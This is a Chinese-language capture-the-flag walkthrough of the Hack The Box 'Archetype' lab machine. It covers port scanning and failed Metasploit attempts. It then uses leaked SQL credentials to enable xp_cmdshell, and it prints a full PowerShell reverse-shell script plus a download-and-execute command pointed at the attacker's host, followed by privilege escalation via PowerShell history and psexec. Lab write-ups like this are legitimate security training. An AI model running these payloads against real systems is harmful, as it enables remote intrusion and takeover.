HTB-Archetype
获得4个开放端口,挨个试试趴
lao@laolao:~/桌面$ nmap -PS 10.10.10.27 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 19:06 CST Nmap scan report for localhost (10.10.10.27) Host is up (0.19s latency). Not shown: 996 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1433/tcp open ms-sql-s Nmap done: 1 IP address (1 host up) scanned in 21.67 seconds lao@laolao:~/桌面$
失败的探索过程
135
目标主机开启了135端口,服务为msrpc(远程过程调用服务),即Windows的RPC服务。幸运地查到135是存在一个漏洞的,用windows/dcerpc/ms05_ 017_msmq 打
135端口漏洞介绍
135端口主要用于使用RPC(RemoteProcedureCall,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。
是否还记得前几年发生的“冲击波”病毒?该病毒就是利用RPC漏洞来攻击计算机的。RPC本身在处理通过TCP/IP的消息交换部分有一个漏洞,该漏洞是由于错误地处理格式不正确的消息造成的。该漏洞会影响到RPC与DCOM之间的一个接口,该接口侦听的端口就是135。
这里缺一个hname,使用scanner/smb/smb_version这个模块获得
唔,还是失败惹
用windows/dcerpc/ms03_026_dcom,这次是打通了,但是没有创建一个session,想起来SMB探测的时候,发现的主机信息Windows 2019 Standard,不在target类型的范围内?
打不通,nump重新扫一遍:sudo nmap -sS -A -Pn 10.10.10.27
445+139
用admin/smb/samba_symlink_traversal结合multi/samba/usermap_script获得shell
SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息通。 SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。外文名: Server Message Block中文名: 服务器信息块作 用: Web连接和客户端与服务器之间的信息沟通研 制: 贝瑞·费根鲍姆
查看一下文件共享目录是否开启,并且是否存在敏感信息
所有的文件都试一遍,emmm,没打成功
1433
直接用auxiliary/scanner/mssql/mssql_login进行密码爆破,爆破失败,日。
正片
莫慌莫慌,给kail拍一个快照,吃一串葡萄重来一遍。重新回到smb中的backups里检查一下,发现了一个dtsConfig文件,它是与SSIS一起使用的配置文件。
下载查看文件内容。
发现其中包含一个SQL连接字符串:Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc,其中包含本地Windows用户的凭据:ARCHETYPE\sql_svc。 接下来尝试使用impacket中的mssqlclient.py连接到目标的SQL Server。
Impacket是用于网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,并且对于某些协议——SMB1-3和MSRPC,协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在该库的上下文中可以完成的操作的示例。
先在kali中安装一下impacket库,这个是运行在python2的环境中的,当然也可以直接到github的release里面下一个:https://github.com/sdfzy/impacket/releases(当然为了以后查找方便,我两个都搞了😜)
pip install --ignore-installed impacket
记住安装的目录,我的是在:/home/lao/.local/bin,以后会常用mssqlclient.py。登录数据库:./mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth,密码: M3g4c0rp123
我们可以使用该IS_SRVROLEMEMBER函数显示当前SQL用户在SQL Server上是否具有sysadmin(最高级别)特权。
SELECT IS_SRVROLEMEMBER('sysadmin');
发现回显为1,证明具有sysadmin特权。
根据前面搜集到的信息,这是一个sql server数据库,所以想使用xp_cmdshell来提权
xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
所以我们要先开启xp_cmdshell,在sql>中执行一下命令:
EXEC sp_configure 'show advanced options',1//允许修改高级参数 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展 RECONFIGURE
可以用下面的几条来测试xp_cmdshell是否开启成功(跟get Flag关系不大,就不截图了🐱🐉)
xp_cmdshell "systeminfo" xp_cmdshell "net user" xp_cmdshell "netstat -ano"
PS:除了xp_cmdshell还有操作注册表的
xp_regaddmultistring xp_regdeletekey //删除键 xp_regdeletevalue //删除值 xp_regenumkeys xp_regenumvalues //返回多个值 xp_regread //读取键值 xp_regremovemultistring xp_regwrite //写入键值 控制服务的xp_servicecontrol等 开启telnet服务 execmaster..xp_servicecontrol 'start', 'tlntsvr'
创建一个shell.ps1文件,里面写入如下内容(IP改成kali的)
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.115",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
然后使用Python搭建一个小型网络服务器,把shell.ps1放到同级目录 (这里的图截的已经是成功反弹shell后的了)
sudo python3 -m http.server 80
在端口443上建立一个netcat侦听器,用ufw允许端口80和443上的回调到攻击机。(ufw这一步并不是必须的)
nc -lvnp 443 ufw allow from 10.10.10.27 proto tcp to any port 80,443
接下来就是让目标下载并执行shell.ps1(这一步的ip也要改成kali的)
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.115/shell.ps1\");"
在nc处可以获得sql_svc的shell但是权限没有那么高,sql_svc既是普通用户帐户又是服务帐户,因此可以检查频繁访问的文件或已执行的命令,使用下面的命令访问PowerShell历史记录文件,可以看到admin的密码:MEGACORP_4dm1n!!
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
这表明该backups驱动器已使用本地管理员凭据进行了映射。我们可以使用Impacket psexec.py来获得admin权限的壳,最后在桌面找到了flag
参考资料
Metasploit SMB 获取系统信息 - 知乎 (zhihu.com)
https://cloud.tencent.com/developer/article/1079631
https://www.cnblogs.com/xiehong/p/12720936.html
https://mp.weixin.qq.com/s/--pzytARhNKknBmDzpoaUw
https://www.echocipher.life/index.php/archives/844/
https://www.jianshu.com/p/85db175a05e3